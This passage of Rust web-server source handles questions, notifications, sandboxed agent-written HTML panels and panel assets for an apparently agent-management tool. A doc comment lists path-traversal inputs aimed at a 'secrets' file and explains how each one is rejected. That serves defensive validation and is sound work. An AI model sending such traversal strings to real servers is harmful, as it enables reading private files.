8136    unreadable: usize,
8137    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8138}
8139
8140// Read-only: list visits and inquiry links never create owner decisions,
8141// delivery receipts or effect acknowledgements.
8142async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8143    blocking(move || {
8144        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8145        let mut views: Vec<_> = items
8146            .into_iter()
8147            .filter_map(DecisionView::from_inquiry)
8148            .collect();
8149        views.sort_by_key(|view| {
8150            (
8151                view.decision.status == crate::task_decision::Status::Resolved,
8152                view.id.clone(),
8153            )
8154        });
8155        Ok(Json(DecisionsView {
8156            items: views,
8157            unreadable,
8158            migration_errors: crate::task_chat::migration_issues(&ui.home),
8159        }))
8160    })
8161    .await
8162}
8163
8164async fn decision_get(
8165    State(ui): State<Arc<Ui>>,
8166    Path(id): Path<String>,
8167) -> ApiResult<Json<DecisionView>> {
8168    blocking(move || {
8169        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8170        DecisionView::from_inquiry(inquiry)
8171            .map(Json)
8172            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8173    })
8174    .await
8175}
8176
8177async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8178    blocking(move || {
8179        let questions = ui.questions.list();
8180        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8181        Ok(Json(
8182            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8183                .into_iter()
8184                .map(|view| view.with_origin(&tasks, &talks, &watches))
8185                .collect(),
8186        ))
8187    })
8188    .await
8189}
8190
8191/// Question content and answer controls never wait for task/chat provenance.
8192async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8193    blocking(move || {
8194        Ok(Json(question_views(
8195            ui.questions.list(),
8196            &ui.questions,
8197            || deputy_config(&ui.repo),
8198        )))
8199    })
8200    .await
8201}
8202
8203fn question_record_revision(question: &Question) -> String {
8204    use std::hash::{Hash as _, Hasher as _};
8205    let mut hash = std::hash::DefaultHasher::new();
8206    serde_json::to_vec(question)
8207        .expect("serializable question")
8208        .hash(&mut hash);
8209    format!("{:016x}", hash.finish())
8210}
8211
8212#[derive(Serialize)]
8213struct QuestionOriginView {
8214    id: String,
8215    record_revision: String,
8216    origin_chat: Option<String>,
8217    origin_chat_closed: bool,
8218    can_consult_chat: bool,
8219}
8220
8221async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8222    blocking(move || {
8223        let questions = ui.questions.list();
8224        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8225        Ok(Json(
8226            questions
8227                .into_iter()
8228                .map(|question| {
8229                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8230                    let can_consult_chat = consult.is_some();
8231                    let talk = crate::consult::associated_talk_with_watches(
8232                        &tasks, &talks, &question, &watches,
8233                    );
8234                    QuestionOriginView {
8235                        record_revision: question_record_revision(&question),
8236                        id: question.id,
8237                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8238                        origin_chat: talk.map(|talk| talk.id),
8239                        can_consult_chat,
8240                    }
8241                })
8242                .collect(),
8243        ))
8244    })
8245    .await
8246}
8247
8248type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8249
8250/// Only the task ancestry and chats these questions actually reference. Run
8251/// mappings share the reconciled queue index; exact task references bypass it.
8252/// No question means no task/chat I/O, including no index reconciliation.
8253fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8254    fn task_for_run(
8255        ui: &Ui,
8256        index: &mut Option<Vec<Arc<TaskRelation>>>,
8257        run: &str,
8258        loaded: &HashMap<String, Task>,
8259    ) -> ApiResult<Option<Task>> {
8260        if !plain_record_id(run) {
8261            return Ok(None);
8262        }
8263        if index.is_none() {
8264            *index = Some(ui.indexed_tasks()?);
8265        }
8266        Ok(index
8267            .as_ref()
8268            .expect("loaded index")
8269            .iter()
8270            .find(|task| task.runs.iter().any(|id| id == run))
8271            .and_then(|task| {
8272                loaded
8273                    .get(&task.id)
8274                    .cloned()
8275                    .or_else(|| ui.queue.get(&task.id).ok())
8276            })
8277            .filter(|task| task.runs.iter().any(|id| id == run)))
8278    }
8279    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8280        plain_record_id(id)
8281            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8282            .flatten()
8283            .filter(|task| task.id == id)
8284    };
8285    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8286    let mut index = None;
8287    let mut tasks = HashMap::new();
8288    let mut talks = HashMap::new();
8289    for question in questions {
8290        for reference in crate::consult::question_task_refs(question, &watches) {
8291            let mut current = match reference {
8292                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8293                crate::consult::QuestionTaskRef::Run(id) => {
8294                    task_for_run(ui, &mut index, id, &tasks)?
8295                }
8296            };
8297            let mut seen = HashSet::new();
8298            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8299                let Some(task) = current.take() else {
8300                    break;
8301                };
8302                if !seen.insert(task.id.clone()) {
8303                    break;
8304                }
8305                let chat = task.chat_talk().map(str::to_owned);
8306                let followup = task.followup.clone();
8307                tasks.insert(task.id.clone(), task);
8308                if let Some(chat) = chat {
8309                    if plain_record_id(&chat)
8310                        && !talks.contains_key(&chat)
8311                        && let Ok(talk) = ui.talks.get(&chat)
8312                    {
8313                        talks.insert(chat, talk);
8314                    }
8315                    break;
8316                }
8317                let Some(followup) = followup else {
8318                    break;
8319                };
8320                current = match followup.origin_task {
8321                    Some(id) => direct_task(&id, &tasks),
8322                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8323                };
8324            }
8325        }
8326    }
8327    let mut tasks: Vec<Task> = tasks.into_values().collect();
8328    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8329    Ok((tasks, talks.into_values().collect(), watches))
8330}
8331
8332/// `GET /api/notifications`: not dismissed, newest first, with the unread
8333/// count so the badge and the list cannot disagree.
8334async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8335    blocking(move || {
8336        let items = ui.notices.list();
8337        let unread = items.iter().filter(|n| n.unread()).count();
8338        let items: Vec<_> = items
8339            .into_iter()
8340            .map(|n| {
8341                let question = crate::notices::answerable_question(&n, &ui.questions);
8342                let mut item = serde_json::to_value(n)?;
8343                item["answerable_question"] = serde_json::json!(question);
8344                Ok(item)
8345            })
8346            .collect::<anyhow::Result<_>>()?;
8347        Ok(Json(
8348            serde_json::json!({ "unread": unread, "items": items }),
8349        ))
8350    })
8351    .await
8352}
8353
8354fn notice_error(e: anyhow::Error) -> ApiError {
8355    // An unknown or malformed id and a vanished file are the same answer to
8356    // the phone: that notification is gone.
8357    ApiError::not_found(format!("{e:#}"))
8358}
8359
8360/// `POST /api/notifications/{id}/read`.
8361async fn notification_read(
8362    State(ui): State<Arc<Ui>>,
8363    Path(id): Path<String>,
8364) -> ApiResult<Json<Notice>> {
8365    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8366}
8367
8368/// `POST /api/notifications/{id}/dismiss`.
8369async fn notification_dismiss(
8370    State(ui): State<Arc<Ui>>,
8371    Path(id): Path<String>,
8372) -> ApiResult<Json<Notice>> {
8373    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8374}
8375
8376/// `POST /api/notifications/read-all`.
8377async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8378    blocking(move || {
8379        let changed = ui.notices.mark_all_read()?;
8380        Ok(Json(serde_json::json!({ "marked": changed })))
8381    })
8382    .await
8383}
8384
8385/// The body of `POST /api/questions/{id}/answer`.
8386///
8387/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8388/// a bad request rather than a guess: an answer magi invented is worse than a
8389/// question left open.
8390#[derive(Debug, Default, Deserialize)]
8391#[serde(default, deny_unknown_fields)]
8392struct NewAnswer {
8393    choice: Option<String>,
8394    text: Option<String>,
8395    talk: Option<String>,
8396    head: Option<String>,
8397}
8398
8399async fn question_answer(
8400    State(ui): State<Arc<Ui>>,
8401    Path(id): Path<String>,
8402    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8403) -> ApiResult<Json<QuestionView>> {
8404    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8405    let answer = match (body.choice, body.text) {
8406        (Some(c), None) => Answer::Choice(c),
8407        (None, Some(t)) => Answer::Text(t),
8408        (Some(_), Some(_)) => {
8409            return Err(ApiError::bad_request(
8410                "send either `choice` or `text`, not both",
8411            ));
8412        }
8413        (None, None) => {
8414            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8415        }
8416    };
8417
8418    blocking(move || {
8419        let id = resolve_question(&ui.questions, &id)?;
8420        let q = ui
8421            .questions
8422            .get(&id)
8423            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8424        if !q.status.open() {
8425            // Answered from the terminal, or by another phone, in between the
8426            // list and the tap. The UI shows the recorded answer rather than an
8427            // error, so it needs the record, not just the status.
8428            return Err(ApiError::conflict(format!(
8429                "question {} is already {}",
8430                q.short(),
8431                q.status.as_str()
8432            )));
8433        }
8434        // `Question::answer` owns the rules - an unoffered choice, free text on
8435        // a multiple-choice question, an empty reply - so the route does not
8436        // restate them and cannot drift from the CLI's behaviour.
8437        let cfg = deputy_config(&ui.repo);
8438        let (q, ()) = ui
8439            .questions
8440            .update(&q.id, |r| {
8441                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8442                // Buttons retain their displayed chat/head binding. A direct
8443                // decision does not require a button or a prior persona offer.
8444                if r.routed_task.is_some()
8445                    && r.merge_target.is_some()
8446                    && merge
8447                    && (body.talk.is_some() || body.head.is_some())
8448                {
8449                    let talk_id = body
8450                        .talk
8451                        .as_deref()
8452                        .context("approval button requires its chat")?;
8453                    let head = body
8454                        .head
8455                        .as_deref()
8456                        .context("approval button requires the displayed head")?;
8457                    let talk = ui.talks.get(talk_id)?;
8458                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8459                    r.answer_chat_button(answer, talk_id, head)
8460                } else {
8461                    r.answer(answer)
8462                }
8463            })
8464            .map_err(ApiError::bad_request_from)?;
8465        let (tasks, talks, watches) =
8466            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8467        Ok(Json(
8468            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8469        ))
8470    })
8471    .await
8472}
8473
8474/// A dedicated status avoids the client's settled-question 409 handling.
8475fn question_text_error(e: anyhow::Error) -> ApiError {
8476    let reason = e
8477        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8478        .map(|e| e.reason);
8479    let error = ApiError::bad_request_from(e);
8480    if let Some(reason) = reason {
8481        ApiError {
8482            text_reason: Some(reason),
8483            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8484        }
8485    } else {
8486        error
8487    }
8488}
8489
8490/// The body of `POST /api/questions/{id}/say`.
8491#[derive(Debug, Deserialize)]
8492#[serde(deny_unknown_fields)]
8493struct NewSay {
8494    body: String,
8495}
8496
8497/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8498///
8499/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8500/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8501/// file, so there is no turn to serialize against and no
8502/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8503/// is a *different* process - the run parked behind `magi ask` - and picks
8504/// the reply up on its own poll of the very same file, same as an answer
8505/// does.
8506async fn question_say(
8507    State(ui): State<Arc<Ui>>,
8508    Path(id): Path<String>,
8509    body: std::result::Result<Json<NewSay>, JsonRejection>,
8510) -> ApiResult<Json<QuestionView>> {
8511    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8512    blocking(move || {
8513        let id = resolve_question(&ui.questions, &id)?;
8514        let q = ui
8515            .questions
8516            .get(&id)
8517            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8518        if !q.status.open() {
8519            // Same granularity as `question_answer`: answered or abandoned in
8520            // between the list and the tap is not this route's error to
8521            // explain any differently.
8522            return Err(ApiError::conflict(format!(
8523                "question {} is already {}",
8524                q.short(),
8525                q.status.as_str()
8526            )));
8527        }
8528        // `Question::say` owns the one rule that matters here - an empty
8529        // message tells the agent nothing - so the route does not restate it.
8530        let cfg = deputy_config(&ui.repo);
8531        let (q, ()) = ui
8532            .questions
8533            .update(&q.id, |r| {
8534                if body.body.trim().is_empty() {
8535                    return r.say(body.body);
8536                }
8537                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8538                r.say(body.body)
8539            })
8540            .map_err(question_text_error)?;
8541        let (tasks, talks, watches) =
8542            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8543        Ok(Json(
8544            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8545        ))
8546    })
8547    .await
8548}
8549
8550/// A disconnected request or a replacing listener cannot interrupt the short
8551/// transaction between persistence and detached worker publication.
8552async fn admitted<T: Send + 'static>(
8553    admission: AdmissionGuard,
8554    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8555) -> ApiResult<T> {
8556    tokio::spawn(async move {
8557        let result = work.await;
8558        drop(admission);
8559        result
8560    })
8561    .await
8562    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8563}
8564
8565/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8566/// came from. The question stays open: the chat agent answers it with `magi
8567/// answer`, or puts the decision to the owner in the conversation.
8568///
8569/// Answers 202 and runs the turn in the background, like every route that
8570/// spends agent calls. The text is queued as a draft of the existing talk, and
8571/// the turn goes through the talk's own gate and session; no seat or waiter is
8572/// started here.
8573async fn question_consult(
8574    State(ui): State<Arc<Ui>>,
8575    Path(id): Path<String>,
8576) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8577    let admission = ui.begin_admission()?;
8578    admitted(admission, async move {
8579        let (q, tasks, talks, watches, talk, cfg) = blocking({
8580            let ui = Arc::clone(&ui);
8581            move || {
8582                let id = resolve_question(&ui.questions, &id)?;
8583                let q = ui.questions.get(&id).map_err(|e| {
8584                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8585                })?;
8586                if !q.status.open() {
8587                    return Err(ApiError::conflict(format!(
8588                        "question {} is already {}",
8589                        q.short(),
8590                        q.status.as_str()
8591                    )));
8592                }
8593                let (tasks, talks, watches) =
8594                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8595                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8596                    return Err(ApiError::conflict(format!(
8597                        "question {} has no chat to ask",
8598                        q.short()
8599                    )));
8600                };
8601                // Read the config before `begin` saves anything: a failure here
8602                // must leave no consult record or draft behind, or a retry would
8603                // see `fresh == false` and never start the turn.
8604                let cfg = if q.consult.is_none() {
8605                    Some(Config::discover(&talk.repo, None)?.0)
8606                } else {
8607                    None
8608                };
8609                Ok((q, tasks, talks, watches, talk, cfg))
8610            }
8611        })
8612        .await?;
8613        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8614            .await
8615            .map_err(ApiError::from)?;
8616        let (view, reclaimed, submitted) = blocking({
8617            let ui = Arc::clone(&ui);
8618            move || {
8619                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8620                let claim = if fresh {
8621                    match ui.begin_queued_talk_turn(&talk.id)? {
8622                        Some(turn_guard) => {
8623                            let talk = ui.talks.get(&talk.id)?;
8624                            let cfg = match cfg {
8625                                Some(cfg) => cfg,
8626                                None => Config::discover(&talk.repo, None)?.0,
8627                            };
8628                            Some((talk, cfg, turn_guard))
8629                        }
8630                        None => None,
8631                    }
8632                } else {
8633                    None
8634                };
8635                let q = ui.questions.get(&q.id)?;
8636                let cfg = deputy_config(&ui.repo);
8637                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8638                    .with_origin(&tasks, &talks, &watches);
8639                Ok((view, claim, fresh.then_some(talk.id)))
8640            }
8641        })
8642        .await?;
8643        #[cfg(not(test))]
8644        {
8645            if let Some(id) = submitted {
8646                crate::chat_worker::spawn_turn(&ui.talks, &id)
8647                    .await
8648                    .map_err(ApiError::from)?;
8649            }
8650            drop(reclaimed);
8651        }
8652        #[cfg(test)]
8653        let _ = submitted;
8654        #[cfg(test)]
8655        if let Some((talk, cfg, turn_guard)) = reclaimed {
8656            let talks = ui.talks.clone();
8657            let id = talk.id.clone();
8658            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8659        }
8660        Ok((StatusCode::ACCEPTED, Json(view)))
8661    })
8662    .await
8663}
8664
8665/// Expand an id or short id to exactly one question id.
8666fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8667    if plain_record_id(id) && store.path_of(id).is_file() {
8668        return Ok(id.to_owned());
8669    }
8670    pick(
8671        store.list().into_iter().map(|q| q.id).collect(),
8672        id,
8673        "question",
8674    )
8675}
8676
8677/// `GET /api/questions/{id}/panel`.
8678///
8679/// The panel an agent wrote for this question, as `text/html` under
8680/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8681/// A question without one is a 404 rather than an empty page: the client
8682/// preflights this route with `HEAD` and must be able to tell "no panel" from
8683/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8684/// parent document so it cannot tell the difference by looking.
8685///
8686/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8687/// sanitises or minifies it - a sanitiser is a list of things someone thought
8688/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8689/// is the direction that stays safe when an agent writes markup nobody
8690/// predicted.
8691async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8692    blocking(move || {
8693        let id = resolve_question(&ui.questions, &id)?;
8694        let Some(html) = ui.questions.panel_html(&id) else {
8695            return Err(ApiError::not_found(format!("question {id} has no panel")));
8696        };
8697        Ok(panel_response(
8698            "text/html; charset=utf-8",
8699            false,
8700            html.into_bytes(),
8701        ))
8702    })
8703    .await
8704}
8705
8706/// `GET /api/questions/{id}/asset/{name}`.
8707///
8708/// One file from the question's own panel directory, so a panel can show a
8709/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8710/// having to allow anything off this machine.
8711///
8712/// This is the only route in the server where a client names a file, so it is
8713/// the only one with a traversal surface, and the name is checked by
8714/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8715/// what is worth being explicit about, because the answer is not "all of it in
8716/// one place":
8717///
8718/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8719///   the raw request path and `{name}` spans exactly one segment, so a real
8720///   slash makes the request too long for the route and the router answers 404.
8721/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8722///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8723///   `..\secrets` respectively, which look like plain filenames to the router.
8724///   The validator refuses them here - both for the literal `..` and because
8725///   `/` and `\` are not in the permitted character set - and answers 400.
8726/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8727///   the platform's path API is not, and it is refused here for the same
8728///   reason: NUL is not a permitted character.
8729/// * [`Questions::panel_asset`] validates again on read, so the check is not
8730///   load-bearing in only one place. This route's own check exists so the
8731///   failure is a 400 that says which name was wrong, rather than a store error
8732///   the operator has to interpret.
8733async fn question_asset(
8734    State(ui): State<Arc<Ui>>,
8735    Path((id, name)): Path<(String, String)>,
8736) -> ApiResult<Response> {
8737    // Before any filesystem work and before any path is built: a name this
8738    // server will not serve should not become a `PathBuf` at all.
8739    if !crate::ask::valid_asset_name(&name) {
8740        return Err(ApiError::bad_request(format!(
8741            "`{name}` is not a usable asset name"
8742        )));
8743    }
8744    blocking(move || {
8745        let id = resolve_question(&ui.questions, &id)?;
8746        let asset = ui
8747            .questions
8748            .panel_asset(&id, &name)
8749            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8750        let Some(bytes) = asset else {
8751            return Err(ApiError::not_found(format!(
8752                "question {id} has no asset `{name}`"
8753            )));
8754        };
8755        Ok(panel_response(
8756            asset_content_type(&name),
8757            is_svg(&name),
8758            bytes,
8759        ))
8760    })
8761    .await
8762}
8763
8764/// Content type for a panel asset, from a closed whitelist.
8765///
8766/// A whitelist with an `application/octet-stream` fallback rather than a
8767/// guess, because the one answer that must never come out of here is
8768/// `text/html`. An agent that writes `notes.html` into its panel directory and
8769/// links it would otherwise get its own markup rendered at the top level of the
8770/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8771/// magi's origin - which is precisely the thing the panel design exists to
8772/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8773///
8774/// `nosniff` accompanies this on every response, so a browser cannot decide it
8775/// knows better than the type we sent.
8776fn asset_content_type(name: &str) -> &'static str {
8777    match extension(name).as_deref() {
8778        Some("png") => "image/png",
8779        Some("jpg" | "jpeg") => "image/jpeg",
8780        Some("gif") => "image/gif",
8781        Some("webp") => "image/webp",
8782        Some("svg") => "image/svg+xml",
8783        Some("css") => "text/css; charset=utf-8",
8784        Some("txt") => "text/plain; charset=utf-8",
8785        _ => "application/octet-stream",
8786    }
8787}
8788
8789/// Is this an SVG, and therefore a file that must never be opened at the top
8790/// level?
8791fn is_svg(name: &str) -> bool {
8792    extension(name).as_deref() == Some("svg")
8793}
8794
8795/// Lowercased extension, or `None` for a name without one.
8796fn extension(name: &str) -> Option<String> {
8797    name.rsplit_once('.')
8798        .map(|(_, ext)| ext.to_ascii_lowercase())
8799}
8800
8801/// Every panel response, with the four headers that make it safe and, for an
8802/// SVG, a fifth.
8803///
8804/// One function rather than a header list per handler, because a panel route
8805/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8806/// model gone, silently, on one of two routes. Adding a third panel route later
8807/// means calling this, and there is nowhere else to build a panel response.
8808///
8809/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8810/// as an `<img src>` inside the panel that script cannot run - but the asset
8811/// URL is also a plain URL an operator can be talked into opening in a tab,
8812/// where it is a document on magi's own origin. `Content-Disposition:
8813/// attachment` makes the browser download it instead of rendering it, which
8814/// closes that door without taking away the ability to draw a diff. Raster
8815/// images have no such execution surface and are left inline, so tapping a
8816/// screenshot still shows it.
8817fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8818    let mut res = (
8819        [
8820            (header::CONTENT_TYPE, content_type),
8821            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8822            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8823            (header::REFERRER_POLICY, "no-referrer"),
8824        ],
8825        body,
8826    )
8827        .into_response();
8828    if download {
8829        res.headers_mut().insert(
8830            header::CONTENT_DISPOSITION,
8831            HeaderValue::from_static("attachment"),
8832        );
8833    }
8834    res
8835}
8836
8837/// A talk as the phone reads it.
8838///
8839/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8840/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8841/// parses markdown itself - and the process-local `thinking` hint.
8842#[derive(Debug, Serialize)]
8843struct ChatApproval {
8844    question: String,
8845    target: crate::merge_decision::Target,
8846}
8847
8848#[derive(Debug, Serialize)]
8849struct TalkView {
8850    #[serde(flatten)]
8851    talk: Talk,
8852    turn_bodies_md: Vec<Vec<md::Node>>,
8853    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8854    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8855    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8856    merge_approvals: Vec<ChatApproval>,
8857    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8858    /// this server process.
8859    ///
8860    /// This is deliberately not durable: another server process cannot see
8861    /// it, and a restarted server must not claim an old turn is live. It is a
8862    /// progress hint rather than proof a reply landed; the transcript remains
8863    /// the source of truth for that.
8864    thinking: bool,
8865    /// Context-window usage, derived per request - see
8866    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8867    /// and each mutation) so the phone needs no extra call or polling.
8868    context: talk::ContextUsage,
8869    /// `[talk] operator_name`, when configured; the Chat labels the
8870    /// operator's turns with it.
8871    operator_name: Option<String>,
8872    /// The active persona's display name; `None` for the default voice.
8873    persona_name: Option<String>,
8874    /// URL of the avatar for the conversation's persona (the default voice
8875    /// included). Server-built; a configured `icon` never reaches the client.
8876    persona_avatar: String,
8877    /// Operator avatar; display only and independent of repository config.
8878    operator_avatar: String,
8879    magi_avatar: String,
8880}
8881
8882impl TalkView {
8883    /// Reads the talk's repository config itself; a config that cannot be
8884    /// read leaves the window unknown but never fails the conversation.
8885    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8886        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8887        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8888    }
8889
8890    /// As [`Self::new`], with the config already in hand (the list reads one
8891    /// per repository, not one per conversation).
8892    fn with_config(
8893        talk: Talk,
8894        thinking: bool,
8895        cfg: Option<&Config>,
8896        home: &FsPath,
8897        cache: &id_links::IndexCache,
8898    ) -> Self {
8899        let references = cache.for_talk(home, &talk);
8900        Self::with_references(talk, thinking, cfg, home, &references)
8901    }
8902
8903    fn with_references(
8904        mut talk: Talk,
8905        thinking: bool,
8906        cfg: Option<&Config>,
8907        home: &FsPath,
8908        references: &id_links::IdIndex,
8909    ) -> Self {
8910        // This owned value is the display DTO; never write it back to the talk store.
8911        let snapshot = talk.clone();
8912        for (index, turn) in talk.turns.iter_mut().enumerate() {
8913            let original = &snapshot.turns[index];
8914            if turn.messages.is_empty() {
8915                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8916                    turn.messages.push(talk::Message {
8917                        sender: Some(talk::Sender::Magi),
8918                        body: original.body.clone(),
8919                        display: Some(display),
8920                        attachments: original.attachments.clone(),
8921                        reply: None,
8922                    });
8923                }
8924            } else {
8925                for (i, message) in turn.messages.iter_mut().enumerate() {
8926                    message.display =
8927                        talk::notice_display(&snapshot, original, original.messages.get(i));
8928                    if message.display.is_some() {
8929                        message.sender = Some(talk::Sender::Magi);
8930                    }
8931                }
8932            }
8933        }
8934        for message in &mut talk.pending_messages {
8935            if message.display.is_none()
8936                && (message.sender == Some(talk::Sender::Magi)
8937                    || snapshot
8938                        .completion_notices
8939                        .iter()
8940                        .any(|r| r.notice == message.body))
8941            {
8942                message.display = crate::prompt::legacy_notice_display(&message.body);
8943                if message.display.is_some() {
8944                    message.sender = Some(talk::Sender::Magi);
8945                }
8946            }
8947        }
8948        if talk.pending_messages.is_empty()
8949            && snapshot
8950                .completion_notices
8951                .iter()
8952                .any(|r| r.notice == talk.pending)
8953            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8954        {
8955            talk.pending_messages.push(talk::Message {
8956                sender: Some(talk::Sender::Magi),
8957                display: Some(display),
8958                body: talk.pending.clone(),
8959                attachments: talk.pending_attachments.clone(),
8960                reply: None,
8961            });
8962        }
8963        let excerpts: Vec<Vec<Option<String>>> = talk
8964            .turns
8965            .iter()
8966            .map(|turn| {
8967                turn.messages
8968                    .iter()
8969                    .map(|m| {
8970                        m.display
8971                            .as_ref()
8972                            .map(|d| d.facts.chars().take(240).collect())
8973                    })
8974                    .collect()
8975            })
8976            .collect();
8977        for turn in &mut talk.turns {
8978            let provenance = talk::sender(turn, None);
8979            turn.sender = Some(provenance);
8980            for message in &mut turn.messages {
8981                message.sender = Some(message.sender.unwrap_or(provenance));
8982            }
8983        }
8984        // Old reply snapshots have only a role; recover provenance from their target.
8985        let senders: Vec<Vec<talk::Sender>> = talk
8986            .turns
8987            .iter()
8988            .map(|turn| {
8989                if turn.messages.is_empty() {
8990                    vec![talk::sender(turn, None)]
8991                } else {
8992                    turn.messages
8993                        .iter()
8994                        .map(|m| talk::sender(turn, Some(m)))
8995                        .collect()
8996                }
8997            })
8998            .collect();
8999        for reply in talk
9000            .turns
9001            .iter_mut()
9002            .flat_map(|t| t.messages.iter_mut())
9003            .chain(talk.pending_messages.iter_mut())
9004            .filter_map(|m| m.reply.as_mut())
9005        {
9006            if let Some(Some(excerpt)) = excerpts
9007                .get(reply.target.turn)
9008                .and_then(|ms| ms.get(reply.target.message))
9009            {
9010                reply.excerpt = excerpt.clone();
9011                reply.sender = Some(talk::Sender::Magi);
9012            }
9013            if reply.sender.is_none() {
9014                reply.sender = senders
9015                    .get(reply.target.turn)
9016                    .and_then(|messages| messages.get(reply.target.message))
9017                    .copied();
9018            }
9019        }
9020        let context = talk::context_usage(&talk, cfg);
9021        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9022            .turns
9023            .iter()
9024            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9025            .collect();
9026        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9027            .turns
9028            .iter()
9029            .map(|turn| {
9030                if turn.messages.is_empty() {
9031                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9032                } else {
9033                    turn.messages
9034                        .iter()
9035                        .map(|message| {
9036                            notice_markdown(
9037                                message.sender.unwrap_or(talk::Sender::Operator),
9038                                &message.body,
9039                                message.display.as_ref(),
9040                            )
9041                        })
9042                        .collect()
9043                }
